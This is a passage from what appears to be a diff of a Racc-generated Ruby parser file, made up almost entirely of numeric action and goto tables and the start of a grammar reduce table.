-'152,152,152,152,153,153,153,,152,,152,,,152,153,,152,152,152,152,153', -',,,153,,,153,,,153,,153,,,,,,,,,,,153,153,,,,,,,,,,,,,,,153,153,153', -'153,154,154,154,,153,,153,,,153,154,,153,153,153,153,154,,,,154,,,154', -',,154,,154,,,,,,,,,,,154,154,,,,,,,,,,,,,,,154,154,154,154,155,155,155', -',154,,154,,,154,155,,154,154,154,154,155,,,,155,,,155,,,155,,155,,,', -',,,,,,,155,155,,,,,,,,,,,,,,,155,155,155,155,156,156,156,,155,,155,', -',155,156,,155,155,155,155,156,,,,156,,,156,,,156,,156,,,,,,,,,,,156', -'156,,,,,,,,,,,,,,,156,156,156,156,157,157,157,,156,,156,,,156,157,,156', -'156,156,156,157,,,,157,,,157,,,157,,157,,,,,,,,,,,157,157,,,,,,,,,,', -',,,,157,157,157,157,158,158,158,,157,,157,,,157,158,,157,157,157,157', -'158,,,,158,,,158,,,158,,158,,,,,,,,,,,158,158,,,,,,,,,,,,,,,158,158', -'158,158,159,159,159,,158,,158,,,158,159,,158,158,158,158,159,,,,159', -',,159,,,159,,159,,,,,,,,,,,159,159,,,,,,,,,,,,,,,159,159,159,159,160', -'160,160,,159,,159,,,159,160,,159,159,159,159,160,,,,160,,,160,,,160', -',160,,,,,,,,,,,160,160,,,,,,,,,,,,,,,160,160,160,160,161,161,161,,160', -',160,,,160,161,,160,160,160,160,161,,,,161,,,161,,,161,,161,,,,,,,,', -',,161,161,,,,,,,,,,,,,,,161,161,161,161,162,162,162,,161,,161,,,161', -'162,,161,161,161,161,162,,,,162,,,162,,,162,,162,,,,,,,,,,,162,162,', -',,,,,,,,,,,,,162,162,162,162,163,163,163,,162,,162,,,162,163,,162,162', -'162,162,163,,,,163,,,163,,,163,,163,,,,,,,,,,,163,163,,,,,,,,,,,,,,', -'163,163,163,163,164,164,164,,163,,163,,,163,164,,163,163,163,163,164', -',,,164,,,164,,,164,,164,,,,,,,,,,,164,164,,,,,,,,,,,,,,,164,164,164', -'164,165,165,165,,164,,164,,,164,165,,164,164,164,164,165,,,,165,,,165', -',,165,,165,,,,,,,,,,,165,165,,,,,,,,,,,,,,,165,165,165,165,166,166,166', -',165,,165,,,165,166,,165,165,165,165,166,,,,166,,,166,,,166,,166,,,', -',,,,,,,166,166,,,,,,,,,,,,,,,166,166,166,166,167,167,167,,166,,166,', -',166,167,,166,166,166,166,167,,,,167,,,167,,,167,,167,,,,,,,,,,,167', -'167,,,,,,,,,,,,,,,167,167,167,167,168,168,168,,167,,167,,,167,168,,167', -'167,167,167,168,,,,168,,,168,,,168,,168,,,,,,,,,,,168,168,,,,,,,,,,', -',,,,168,168,168,168,169,169,169,,168,,168,,,168,169,,168,168,168,168', -'169,,,,169,,,169,,,169,,169,,,,,,,,,,,169,169,,,,,,,,,,,,,,,169,169', -'169,169,170,170,170,,169,,169,,,169,170,,169,169,169,169,170,,,,170', -',,170,,,170,,170,,,,,,,,,,,170,170,,,,,,,,,,,,,,,170,170,170,170,171', -'171,171,,170,,170,,,170,171,,170,170,170,170,171,,,,171,,,171,,,171', -',171,,,,,,,,,,,171,171,,,,,,,,,,,,,,,171,171,171,171,172,172,172,,171', -',171,,,171,172,,171,171,171,171,172,,,,172,,,172,,,172,,172,,,,,,,,', -',,172,172,,,,,,,,,,,,,,,172,172,172,172,173,173,173,,172,,172,,,172', -'173,,172,172,172,172,173,,,,173,,,173,,,173,,173,,,,,,,,,,,173,173,', -',,,,,,,,,,,,,173,173,173,173,174,174,174,,173,,173,,,173,174,,173,173', -'173,173,174,,,,174,,,174,,,174,,174,,,,,,,,,,,174,174,,,,,,,,,,,,,,', -'174,174,174,174,47,47,47,,174,,174,,,174,47,,174,174,174,174,47,,,,47', -',,47,,,47,,47,,,,,,,,,,,47,47,,,,,,,,,,,,,,,47,47,47,47,457,457,457', -',47,,47,,,47,457,,47,47,47,47,457,,,,457,,,457,,,457,,457,,,,,,,,,,', -'457,457,,,,,,,,,,,,,,,457,457,457,457,456,456,456,,457,,457,,,457,456', -',457,457,457,457,456,,,,456,,,456,,,456,,456,,,,,,,,,,,456,456,,,,,', -',,,,,,,,,456,456,456,456,454,454,454,,456,,456,,,456,454,,456,456,456', -'456,454,,,,454,,,454,,,454,,454,,,,,,,,,,,454,454,,,,,,,,,,,,,,,454', -'454,454,454,381,381,381,,454,,454,,,454,381,,454,454,454,454,381,,,', -'381,,,381,,,381,,381,,,,,,,,,,,381,381,,,,,,,,,,,,,,,381,381,381,381', -'184,184,184,,381,,381,,,381,184,,381,381,381,381,184,,,,184,,,184,,', -'184,,184,,,,,,,,,,,184,184,,,,,,,,,,,,,,,184,184,184,184,387,387,387', -',184,,184,,,184,387,,184,184,184,184,387,,,,387,,,387,,,387,,387,,,', -',,,,,,,387,387,,,,,,,,,,,,,,,387,387,387,387,186,186,186,,387,,387,', -',387,186,,387,387,387,387,186,,,,186,,,186,,,186,,186,,,,,,,,,,,186', -'186,,,,,,,,,,,,,,,186,186,186,186,187,187,187,,186,,186,,,186,187,,186', -'186,186,186,187,,,,187,,,187,,,187,187,187,,,,,,,,,,,187,187,,,,,,,', -',,,,,,,187,187,187,187,248,248,248,,187,,187,,,187,248,,187,187,187', -'187,248,,,,248,,,248,,,248,,248,,,,,,,,,,,248,248,,,,,,,,,,,,,,,248', -'248,248,248,247,247,247,,248,,248,,,248,247,,248,248,248,248,247,,,', -'247,,,247,,,247,,247,,,,,,,,,,,247,247,,,,,,,,,,,,,,,247,247,247,247', -'246,246,246,,247,,247,,,247,246,,247,247,247,247,246,,,,246,,,246,,', -'246,,246,,,,,,,,,,,246,246,,,,,,,,,,,,,,,246,246,246,246,197,197,197', -',246,,246,,,246,197,,246,246,246,246,197,,,,197,,,197,,,197,,197,,,', -',,,,,,,197,197,,,,,,,,,,,,,,,197,197,197,197,198,198,198,,197,,197,', -',197,198,,197,197,197,197,198,,,,198,,,198,,,198,,198,,,,,,,,,,,198', -'198,,,,,,,,,,,,,,,198,198,198,198,245,245,245,,198,,198,,,198,245,,198', -'198,198,198,245,,,,245,,,245,,,245,,245,,,,,,,,,,,245,245,,,,,,,,,,', -',,,,245,245,245,245,383,383,383,,245,,245,,,245,383,,245,245,245,245', -'383,,,,383,,,383,,,383,,383,,,,,,,,,,,383,383,,,,,,,,,,,,,,,383,383', -'383,383,244,244,244,,383,,383,,,383,244,,383,383,383,383,244,,,,244', -',,244,,,244,,244,,,,,,,,,,,244,244,,,,,,,,,,,,,,,244,244,244,244,243', -'243,243,,244,,244,,,244,243,,244,244,244,244,243,,,,243,,,243,,,243', -',243,,,,,,,,,,,243,243,,,,,,,,,,,,,,,243,243,243,243,384,384,384,,243', -',243,,,243,384,,243,243,243,243,384,,,,384,,,384,,,384,,384,,,,,,,,', -',,384,384,,,,,,,,,,,,,,,384,384,384,384,242,242,242,,384,,384,,,384', -'242,,384,384,384,384,242,,,,242,,,242,,,242,,242,,,,,,,,,,,242,242,', -',,,,,,,,,,,,,242,242,242,242,385,385,385,,242,,242,,,242,385,,242,242', -'242,242,385,,,,385,,,385,,,385,,385,,,,,,,,,,,385,385,,,,,,,,,,,,,,', -'385,385,385,385,213,213,213,,385,,385,,,385,213,,385,385,385,385,213', -',,,213,,,213,,,213,,213,,,,,,,,,,,213,213,,,,,,,,,,,,,,,213,213,213', -'213,214,214,214,,213,,213,,,213,214,,213,213,213,213,214,,,,214,,,214', -',,214,,214,,,,,,,,,,,214,214,,,,,,,,,,,,,,,214,214,214,214,295,295,295', -',214,,214,,,214,295,,214,214,214,214,295,,,,295,,,295,,,295,,295,,,', -',,,,,,,295,295,,,,,,,,,,,,,,,295,295,295,295,386,386,386,,295,,295,', -',295,386,,295,295,295,295,386,,,,386,,,386,,,386,,386,,,,,,,,,,,386', -'386,,,,,,,,,,,,,,,386,386,386,386,220,220,220,,386,,386,,,386,220,,386', -'386,386,386,220,,,,220,,,220,,,220,,220,,,,,,,,,,,220,220,,,,,,,,,,', -',,,,220,220,220,220,48,48,48,,220,,220,,,220,48,,220,220,220,220,48', -',,,48,,,48,,,48,,48,,,,,,,,,,,48,48,,,,,,,,,,,,,,,48,48,48,48,224,224', -'224,,48,,48,,,48,224,,48,48,48,48,224,,,,224,,,224,,,224,,224,,,,,,', -',,,,224,224,,,,,,,,,,,,,,,224,224,224,224,225,225,225,,224,,224,,,224', -'225,,224,224,224,224,225,,,,225,,,225,,,225,,225,,,,,,,,,,,225,225,', -',,,,,,,,,,,,,225,225,225,225,226,226,226,,225,,225,,,225,226,,225,225', -'225,225,226,,,,226,,,226,,,226,,226,,,,,,,,,,,226,226,,,,,,,,,,,,,,', -'226,226,226,226,227,227,227,,226,,226,,,226,227,,226,226,226,226,227', -',,,227,,,227,,,227,,227,,,,,,,,,,,227,227,,,,,,,,,,,,,,,227,227,227', -'227,228,228,228,,227,,227,,,227,228,,227,227,227,227,228,,,,228,,,228', -',,228,,228,,,,,,,,,,,228,228,,,,,,,,,,,,,,,228,228,228,228,229,229,229', -',228,,228,,,228,229,,228,228,228,228,229,,,,229,,,229,,,229,,229,,,', -',,,,,,,229,229,,,,,,,,,,,,,,,229,229,229,229,230,230,230,,229,,229,', -',229,230,,229,229,229,229,230,,,,230,,,230,,,230,,230,,,,,,,,,,,230', -'230,,,,,,,,,,,,,,,230,230,230,230,231,231,231,,230,,230,,,230,231,,230', -'230,230,230,231,,,,231,,,231,,,231,,231,,,,,,,,,,,231,231,,,,,,,,,,', -',,,,231,231,231,231,232,232,232,,231,,231,,,231,232,,231,231,231,231', -'232,,,,232,,,232,,,232,,232,,,,,,,,,,,232,232,,,,,,,,,,,,,,,232,232', -'232,232,233,233,233,,232,,232,,,232,233,,232,232,232,232,233,,,,233', -',,233,,,233,,233,,,,,,,,,,,233,233,,,,,,,,,,,,,,,233,233,233,233,234', -'234,234,,233,,233,,,233,234,,233,233,233,233,234,,,,234,,,234,,,234', -',234,,,,,,,,,,,234,234,,,,,,,,,,,,,,,234,234,234,234,241,241,241,,234', -',234,,,234,241,,234,234,234,234,241,,,,241,,,241,,,241,,241,,,,,,,,', -',,241,241,,,,,,,,,,,,,,,241,241,241,241,236,236,236,,241,,241,,,241', -'236,,241,241,241,241,236,,,,236,,,236,,,236,,236,,,,,,,,,,,236,236,', -',,,,,,,,,,,,,236,236,236,236,237,237,237,,236,,236,,,236,237,,236,236', -'236,236,237,,,,237,,,237,,,237,,237,,,,,,,,,,,237,237,,,,,,,,,,,,,,', -'237,237,237,237,238,238,238,,237,,237,,,237,238,,237,237,237,237,238', -',,,238,,,238,,,238,,238,,,,,,,,,,,238,238,,,,,,,,,,,,,,,238,238,238', -'238,239,239,239,,238,,238,,,238,239,,238,238,238,238,239,,,,239,,,239', -',,239,,239,,,,,,,,,,,239,239,,,,,,,,,,,,,,,239,239,239,239,240,240,240', -',239,,239,,,239,240,,239,239,239,239,240,,,,240,,,240,,,240,,240,,,', -',,,,,,,240,240,,,,,,,,,,,,,,,240,240,240,240,235,235,235,,240,,240,', -',240,235,,240,240,240,240,235,,,,235,,,235,,,235,,235,92,92,92,,,,,', -',,235,235,,,,,92,36,36,36,92,,,92,,,235,235,235,235,,,,36,235,,235,36', -',235,36,,235,235,235,235,,,,,,,,,,92,92,92,92,,,,,92,,92,,,92,,,,36', -'36,36,36,,,,,36,,36,,,36' ] - racc_action_check = arr = Array.new(8460, nil) - idx = 0 - clist.each do |str| - str.split(',', -1).each do |i| - arr[idx] = i.to_i unless i.empty? - idx += 1 - end - end - -racc_action_pointer = [ - 482, 847, 1622, nil, nil, nil, nil, nil, nil, nil, - nil, nil, nil, nil, nil, nil, nil, nil, nil, nil, - nil, nil, nil, nil, nil, nil, nil, nil, nil, nil, - nil, 778, 1969, 769, nil, 80, 8389, 93, nil, 631, - 2500, 3445, 3682, 3741, 3859, 4095, 4213, 5747, 7281, nil, - nil, nil, 723, -30, 779, 209, 282, 434, 436, 538, - 587, -27, nil, nil, 3, 1470, 721, 747, nil, 771, - 1774, 775, 785, 10, 0, 4, 728, 727, 2264, 720, - 1, 714, 766, nil, 1318, nil, -35, nil, 317, nil, - nil, 76, 8372, 70, nil, 479, nil, nil, nil, 611, - 228, 681, 285, 340, 634, 622, 619, 662, -18, nil, - nil, 53, 3622, 351, 629, nil, 3800, 611, nil, 3918, - -18, nil, nil, 4036, 610, nil, nil, 4154, nil, nil, - nil, nil, nil, nil, nil, nil, nil, nil, nil, nil, - 233, nil, nil, nil, nil, nil, nil, nil, nil, nil, - 4272, 4331, 4390, 4449, 4508, 4567, 4626, 4685, 4744, 4803, - 4862, 4921, 4980, 5039, 5098, 5157, 5216, 5275, 5334, 5393, - 5452, 5511, 5570, 5629, 5688, nil, nil, 567, 12, nil, - 540, 13, nil, 464, 6042, 491, 6160, 6219, nil, nil, - 2, nil, nil, 8, 14, nil, nil, 6455, 6514, 16, - 23, nil, nil, 450, nil, nil, 87, 414, 413, nil, - 157, nil, nil, 6986, 7045, 408, nil, -34, nil, nil, - 7222, 379, nil, nil, 7340, 7399, 7458, 7517, 7576, 7635, - 7694, 7753, 7812, 7871, 7930, 8343, 8048, 8107, 8166, 8225, - 8284, 7989, 6868, 6750, 6691, 6573, 6396, 6337, 6278, -7, - 342, nil, nil, nil, 301, nil, 477, nil, nil, 385, - nil, nil, 482, nil, nil, nil, nil, nil, 742, 752, - -18, 20, 63, 728, 700, 652, 500, 493, 453, 133, - 288, 361, 364, 188, 624, -55, -49, 28, 20, nil, - nil, nil, nil, 56, nil, 7104, nil, nil, 63, nil, - 298, 84, 146, 1848, 713, 375, 264, 97, 128, 134, - 215, -12, nil, nil, 294, 385, 640, nil, nil, nil, - nil, nil, nil, 222, 241, nil, nil, 661, 665, 36, - 2382, 684, 2087, 2028, -18, nil, nil, 123, nil, nil, - 95, nil, nil, nil, nil, nil, 191, 267, 353, 304, - 277, 529, 548, 569, 576, 605, 624, 212, 437, 118, - 28, 358, 572, 420, 418, 449, 424, 416, 401, nil, - -9, 3208, nil, nil, 3563, nil, 3977, nil, nil, nil, - 786, 5983, 710, 6632, 6809, 6927, 7163, 6101, 3149, 3090, - 3031, 2618, 2146, 2205, 2441, 2559, 1910, 2677, 2736, 2795, - 2854, 2913, nil, -50, -10, 634, 220, nil, 234, 264, - 384, nil, 32, nil, nil, nil, nil, nil, nil, 3504, - 558, 385, 400, 394, 374, nil, nil, nil, nil, 455, - 355, nil, 555, nil, 165, 719, 716, 789, 710, 703, - 147, 136, 299, 223, 206, 472, 476, 480, 538, 515, - nil, 525, 508, 538, 5924, 604, 5865, 5806, nil, nil, - 623, 564, 102, 573, 585, 393, nil, 587, nil, 330, - nil, 254, 607, 178, -1, 406, 3386, 3327, nil, -66, - 624, 3268, nil, 127, 7, 725, nil, 2972, 683, 697, - 862, 938, 709, nil, 710, 711, 1014, nil, nil, nil, - nil, nil, 716, nil, 2323, 380, 1090, nil, 798, 742, - nil, 53, 809, nil, 758, 767, 1166, nil, nil, 769, - 1242, 773, 1394, nil, 773, 1546, 1698, 781, nil, nil, - 781, nil, nil, 1850, nil, nil, nil, nil, nil, nil, - nil ] - -racc_action_default = [ - -1, -294, -2, -3, -5, -6, -7, -8, -9, -10, - -11, -12, -13, -14, -15, -16, -17, -18, -19, -20, - -21, -22, -23, -24, -25, -26, -27, -28, -40, -41, - -42, -43, -294, -50, -59, -65, -294, -82, -81, -86, - -294, -294, -294, -294, -294, -294, -294, -294, -294, -100, - -101, -106, -113, -120, -137, -154, -163, -169, -175, -181, - -187, -193, -199, -217, -294, -1, -294, -294, -238, -294, - -294, -294, -294, -294, -294, -294, -294, -294, -294, -294, - -294, -294, -294, -4, -294, -36, -294, -43, -294, -54, - -55, -63, -294, -80, -79, -83, -98, -99, -102, -110, - -116, -124, -144, -159, -165, -171, -177, -183, -189, -195, - -213, -294, -294, -294, -51, -52, -294, -294, -71, -294, - -63, -66, -72, -294, -294, -87, -88, -294, -201, -202, - -203, -204, -205, -206, -207, -208, -209, -210, -211, -212, - -83, -89, -90, -91, -92, -93, -94, -95, -96, -97, - -294, -294, -294, -294, -294, -294, -294, -294, -294, -294, - -294, -294, -294, -294, -294, -294, -294, -294, -294, -294, - -294, -294, -294, -294, -294, -239, -240, -294, -294, -222, - -226, -294, -232, -234, -294, -294, -294, -253, -255, -256, - -294, -259, -260, -294, -294, -263, -264, -294, -294, -294, - -294, -283, -284, -294, 541, -277, -294, -294, -294, -34, - -294, -37, -44, -294, -294, -294, -67, -63, -64, -68, - -294, -294, -84, -85, -294, -294, -294, -294, -294, -294, - -294, -294, -294, -294, -294, -294, -294, -294, -294, -294, - -294, -294, -294, -294, -294, -294, -294, -294, -294, -294, - -294, -45, -48, -46, -50, -53, -294, -61, -75, -294, - -77, -62, -294, -74, -200, -107, -108, -109, -114, -115, - -121, -122, -123, -138, -139, -140, -141, -142, -143, -155, - -156, -157, -158, -164, -170, -176, -182, -188, -294, -218, - -219, -220, -221, -294, -227, -294, -230, -231, -294, -235, - -294, -294, -294, -83, -131, -149, -161, -167, -173, -179, - -185, -191, -197, -215, -254, -294, -294, -257, -258, -261, - -262, -265, -266, -294, -294, -278, -279, -294, -294, -294, - -294, -294, -294, -294, -294, -38, -214, -294, -57, -58, - -294, -70, -196, -103, -104, -105, -111, -112, -117, -118, - -119, -125, -126, -127, -128, -129, -130, -145, -146, -147, - -148, -160, -166, -172, -178, -184, -294, -294, -294, -291, - -294, -294, -60, -76, -294, -73, -294, -223, -236, -233, - -294, -294, -294, -294, -294, -294, -294, -294, -294, -294, - -294, -294, -294, -294, -294, -294, -294, -294, -294, -294, - -294, -251, -224, -294, -228, -294, -294, -280, -294, -294, - -294, -29, -294, -30, -31, -35, -39, -56, -69, -294, - -1, -294, -294, -294, -294, -47, -49, -78, -194, -241, - -294, -245, -83, -198, -294, -132, -133, -134, -135, -136, - -150, -151, -152, -153, -162, -168, -174, -180, -186, -294, - -216, -252, -294, -294, -251, -229, -294, -294, -267, -268, - -271, -294, -1, -294, -294, -294, -190, -294, -293, -1, - -292, -1, -294, -294, -294, -294, -294, -251, -225, -228, - -294, -294, -237, -294, -294, -272, -273, -294, -294, -294, - -1, -1, -294, -287, -294, -294, -1, -242, -243, -244, - -248, -192, -294, -229, -251, -294, -294, -269, -271, -294, - -274, -294, -281, -285, -294, -294, -1, -288, -289, -294, - -294, -294, -294, -249, -294, -1, -1, -294, -286, -32, - -294, -290, -246, -294, -250, -270, -276, -275, -282, -33, - -247 ] - -racc_goto_table = [ - 34, 209, 34, 182, 1, 200, 95, 185, 179, 112, - 455, 88, 50, 402, 50, 118, 286, 122, 368, 313, - 121, 205, 141, 142, 143, 144, 145, 146, 147, 148, - 149, 270, 271, 272, 452, 484, 279, 280, 281, 282, - 268, 269, 287, 273, 274, 275, 276, 277, 278, 95, - 285, 284, 95, 283, 194, 444, 447, 199, 440, 441, - 442, 443, 314, 294, 178, 34, 299, 446, 120, 177, - 34, 216, 304, 219, 252, 127, 218, 50, 403, 445, - 448, 260, 50, 524, 34, 503, 95, 480, 259, 264, - 95, 364, 181, 95, 113, 256, 50, 95, 410, 315, - 261, 95, 262, 210, 459, 83, 348, 349, 350, 508, - 502, 357, 358, 359, 360, 346, 347, 365, 351, 352, - 353, 354, 355, 356, 217, 363, 362, 510, 361, nil, - nil, 224, 265, 266, 267, 288, 289, 521, nil, 424, - nil, 467, nil, nil, nil, nil, nil, 95, 95, nil, - 478, nil, nil, nil, nil, nil, nil, nil, 95, nil, - 95, 303, nil, 300, nil, 302, nil, nil, nil, nil, - nil, 95, 95, nil, nil, 336, 323, 324, nil, nil, - nil, 465, nil, 489, nil, nil, 342, 95, 95, nil, - 494, nil, 495, 337, 95, nil, nil, 339, 95, 340, - nil, nil, nil, nil, nil, nil, nil, 343, 344, 345, - 366, 514, 515, nil, nil, 433, nil, 519, nil, nil, - nil, nil, 95, nil, nil, nil, nil, nil, nil, nil, - 371, 449, 450, nil, 379, 377, nil, 530, nil, nil, - nil, nil, nil, nil, nil, nil, nil, nil, nil, 415, - nil, nil, nil, 407, nil, nil, nil, 378, nil, nil, - nil, nil, nil, nil, nil, nil, nil, nil, 304, 95, - 435, 436, 437, 438, 439, 304, 304, 304, 304, 304, - 304, 304, 304, 304, 304, 304, nil, nil, 482, nil, - nil, nil, 411, nil, 413, 414, nil, nil, nil, nil, - nil, nil, nil, nil, 95, nil, 95, 95, 501, nil, - nil, nil, nil, nil, nil, nil, nil, 429, nil, 431, - nil, nil, nil, nil, nil, nil, nil, nil, nil, nil, - nil, nil, nil, 426, nil, nil, 427, nil, 428, nil, - nil, 304, 458, nil, nil, 95, nil, nil, 95, nil, - 95, nil, nil, nil, nil, 95, nil, 432, 95, nil, - 430, 304, nil, 434, nil, nil, nil, nil, nil, nil, - nil, nil, nil, 432, 432, 95, nil, nil, nil, nil, - 34, 466, 34, nil, nil, nil, nil, nil, nil, nil, - nil, nil, 50, 95, 50, nil, nil, nil, nil, nil, - nil, nil, nil, nil, nil, 34, nil, nil, nil, nil, - 497, nil, 500, nil, 512, nil, nil, 50, nil, nil, - 34, nil, nil, nil, nil, nil, nil, nil, 95, nil, - 432, 95, 50, nil, nil, nil, 483, nil, nil, nil, - nil, nil, nil, 523, nil, nil, nil, nil, nil, nil, - 432, 95, nil, 538, nil, 95, nil, 532, nil, 534, - 505, 95, 34, nil, nil, nil, 511, nil, nil, 34, - 540, 34, nil, 34, 50, 34, nil, nil, 95, nil, - nil, 50, nil, 50, nil, 50, nil, 50, nil, nil, - 34, 34, nil, nil, nil, nil, 34, nil, nil, nil, - nil, nil, 50, 50, nil, nil, 34, nil, 50, nil, - nil, nil, nil, nil, nil, nil, 34, nil, 50, nil, - 34, nil, 34, nil, nil, 34, 34, nil, 50, 536, - 537, nil, 50, 34, 50, nil, nil, 50, 50, nil, - nil, nil, nil, nil, nil, 50 ] - -racc_goto_check = [ - 29, 23, 29, 93, 1, 6, 44, 5, 87, 32, - 91, 31, 48, 89, 48, 37, 69, 37, 26, 80, - 39, 5, 49, 49, 49, 49, 49, 49, 49, 49, - 49, 53, 53, 53, 95, 97, 57, 57, 57, 57, - 51, 51, 72, 55, 55, 55, 55, 55, 55, 44, - 66, 63, 44, 60, 31, 61, 70, 31, 58, 58, - 58, 58, 84, 90, 86, 29, 90, 67, 35, 1, - 29, 37, 55, 37, 24, 82, 39, 48, 88, 64, - 73, 24, 48, 97, 29, 91, 44, 95, 43, 24, - 44, 69, 92, 44, 33, 31, 48, 44, 26, 94, - 37, 44, 31, 27, 96, 3, 53, 53, 53, 98, - 95, 57, 57, 57, 57, 51, 51, 72, 55, 55, - 55, 55, 55, 55, 35, 66, 63, 100, 60, nil, - nil, 82, 49, 49, 49, 24, 24, 95, nil, 26, - nil, 25, nil, nil, nil, nil, nil, 44, 44, nil, - 89, nil, nil, nil, nil, nil, nil, nil, 44, nil, - 44, 44, nil, 31, nil, 31, nil, nil, nil, nil, - nil, 44, 44, nil, nil, 24, 31, 31, nil, nil, - nil, 26, nil, 25, nil, nil, 24, 44, 44, nil, - 25, nil, 25, 31, 44, nil, nil, 37, 44, 31, - nil, nil, nil, nil, nil, nil, nil, 49, 49, 49, - 24, 25, 25, nil, nil, 80, nil, 25, nil, nil, - nil, nil, 44, nil, nil, nil, nil, nil, nil, nil, - 32, 80, 80, nil, 93, 87, nil, 25, nil, nil, - nil, nil, nil, nil, nil, nil, nil, nil, nil, 23, - nil, nil, nil, 6, nil, nil, nil, 24, nil, nil, - nil, nil, nil, nil, nil, nil, nil, nil, 55, 44, - 55, 55, 55, 55, 55, 55, 55, 55, 55, 55, - 55, 55, 55, 55, 55, 55, nil, nil, 80, nil, - nil, nil, 24, nil, 24, 24, nil, nil, nil, nil, - nil, nil, nil, nil, 44, nil, 44, 44, 80, nil, - nil, nil, nil, nil, nil, nil, nil, 5, nil, 5, - nil, nil, nil, nil, nil, nil, nil, nil, nil, nil, - nil, nil, nil, 24, nil, nil, 24, nil, 24, nil, - nil, 55, 5, nil, nil, 44, nil, nil, 44, nil, - 44, nil, nil, nil, nil, 44, nil, 44, 44, nil, - 31, 55, nil, 31, nil, nil, nil, nil, nil, nil, - nil, nil, nil, 44, 44, 44, nil, nil, nil, nil, - 29, 24, 29, nil, nil, nil, nil, nil, nil, nil, - nil, nil, 48, 44, 48, nil, nil, nil, nil, nil, - nil, nil, nil, nil, nil, 29, nil, nil, nil, nil, - 5, nil, 5, nil, 6, nil, nil, 48, nil, nil, - 29, nil, nil, nil, nil, nil, nil, nil, 44, nil, - 44, 44, 48, nil, nil, nil, 31, nil, nil, nil, - nil, nil, nil, 5, nil, nil, nil, nil, nil, nil, - 44, 44, nil, 6, nil, 44, nil, 5, nil, 5, - 31, 44, 29, nil, nil, nil, 31, nil, nil, 29, - 5, 29, nil, 29, 48, 29, nil, nil, 44, nil, - nil, 48, nil, 48, nil, 48, nil, 48, nil, nil, - 29, 29, nil, nil, nil, nil, 29, nil, nil, nil, - nil, nil, 48, 48, nil, nil, 29, nil, 48, nil, - nil, nil, nil, nil, nil, nil, 29, nil, 48, nil, - 29, nil, 29, nil, nil, 29, 29, nil, 48, 1, - 1, nil, 48, 29, 48, nil, nil, 48, 48, nil, - nil, nil, nil, nil, nil, 48 ] - -racc_goto_pointer = [ - nil, 4, nil, 103, nil, -63, -74, nil, nil, nil, - nil, nil, nil, nil, nil, nil, nil, nil, nil, nil, - nil, nil, nil, -85, -38, -279, -231, 17, nil, 0, - nil, -21, -24, 61, nil, 32, nil, -20, nil, -16, - nil, nil, nil, -31, -26, nil, nil, nil, 12, -18, - nil, -113, nil, -124, nil, -115, nil, -128, -332, nil, - -115, -339, nil, -118, -316, nil, -120, -329, nil, -155, - -341, nil, -130, -318, nil, nil, nil, nil, nil, nil, - -168, nil, 36, nil, -125, nil, -2, -58, -238, -303, - -117, -394, 25, -64, -88, -367, -302, -425, -375, nil, - -358 ] - -racc_goto_default = [ - nil, 468, 2, 3, 4, 5, 6, 7, 8, 9, - 10, 11, 12, 13, 14, 15, 16, 17, 18, 19, - 20, 21, 29, nil, 110, nil, nil, nil, 89, 85, - 30, 451, nil, nil, 114, 91, 90, nil, 35, 94, - 38, 93, 37, nil, 140, 39, 96, 49, 97, 98, - 51, 99, 52, 100, 53, 101, 54, 102, 305, 55, - 103, 306, 56, 104, 307, 57, 105, 308, 58, 106, - 309, 59, 107, 310, 60, 108, 311, 61, 109, 312, - nil, 62, 383, 63, nil, 64, nil, nil, nil, nil, - nil, nil, nil, nil, nil, nil, nil, nil, nil, 485, - 486 ] - -racc_reduce_table = [ - 0, 0, :racc_error, - 0, 89, :_reduce_1, - 1, 89, :_reduce_2, - 1, 90, :_reduce_none, - 2, 90, :_reduce_4, - 1, 91, :_reduce_none, - 1, 91, :_reduce_none, - 1, 93, :_reduce_none, - 1, 93, :_reduce_none, - 1, 93, :_reduce_none, - 1, 93, :_reduce_none, - 1, 93, :_reduce_none, - 1, 93, :_reduce_none, - 1, 93, :_reduce_none, - 1, 93, :_reduce_none, - 1, 93, :_reduce_none, - 1, 93, :_reduce_none, - 1, 93, :_reduce_none, - 1, 93, :_reduce_none, - 1, 93, :_reduce_none, - 1, 93, :_reduce_none, - 1, 93, :_reduce_none, - 1, 93, :_reduce_none, - 1, 110, :_reduce_23, - 1, 110, :_reduce_24, - 1, 110, :_reduce_25, - 1, 110, :_reduce_26, - 1, 110, :_reduce_27, - 1, 110, :_reduce_28, - 3, 111, :_reduce_29, - 3, 111, :_reduce_30, - 3, 111, :_reduce_31, - 7, 111, :_reduce_32, - 8, 111, :_reduce_33, - 1, 115, :_reduce_34, - 3, 115, :_reduce_35, - 1, 116, :_reduce_none, - 2, 116, :_reduce_37, - 3, 116, :_reduce_38, - 4, 116, :_reduce_39, - 1, 117, :_reduce_40, - 1, 117, :_reduce_none, - 1, 117, :_reduce_none, - 1, 117, :_reduce_43, - 3, 117, :_reduce_44, - 3, 118, :_reduce_45, - 3, 118, :_reduce_46, - 5, 118, :_reduce_47, - 2, 121, :_reduce_48, - 4, 121, :_reduce_49, - 0, 120, :_reduce_50, - 1, 120, :_reduce_none, - 1, 122, :_reduce_52, - 2, 122, :_reduce_53, - 1, 123, :_reduce_none, - 1, 123, :_reduce_none, - 4, 123, :_reduce_56, - 3, 123, :_reduce_57, - 3, 123, :_reduce_58, - 1, 126, :_reduce_none, - 4, 126, :_reduce_60, - 3, 126, :_reduce_61, - 3, 126, :_reduce_62, - 1, 127, :_reduce_none, - 2, 127, :_reduce_64, - 1, 128, :_reduce_none, - 2, 128, :_reduce_66, - 2, 129, :_reduce_67, - 2, 129, :_reduce_68, - 4, 129, :_reduce_69, - 3, 129, :_reduce_70, - 2, 130, :_reduce_71, - 2, 130, :_reduce_72, - 4, 130, :_reduce_73, - 3, 130, :_reduce_74, - 2, 125, :_reduce_75, - 3, 125, :_reduce_76, - 1, 131, :_reduce_77, - 3, 131, :_reduce_78, - 1, 132, :_reduce_none, - 1, 132, :_reduce_none, - 1, 133, :_reduce_none, - 1, 133, :_reduce_none, - 1, 134, :_reduce_none, - 2, 134, :_reduce_84, - 2, 134, :_reduce_85, - 1, 135, :_reduce_none, - 2, 135, :_reduce_87, - 2, 135, :_reduce_88, - 2, 136, :_reduce_89, - 2, 136, :_reduce_90, - 2, 136, :_reduce_91, - 2, 136, :_reduce_92, - 2, 136, :_reduce_93, - 2, 136, :_reduce_94, - 2, 136, :_reduce_95, - 2, 136, :_reduce_96, - 2, 136, :_reduce_97, - 1, 137, :_reduce_none, - 1, 137, :_reduce_none, - 1, 138, :_reduce_none, - 1, 138, :_reduce_none, - 1, 139, :_reduce_none, - 3, 139, :_reduce_103, - 3, 139, :_reduce_104, - 3, 139, :_reduce_105, - 1, 140, :_reduce_none, - 3, 140, 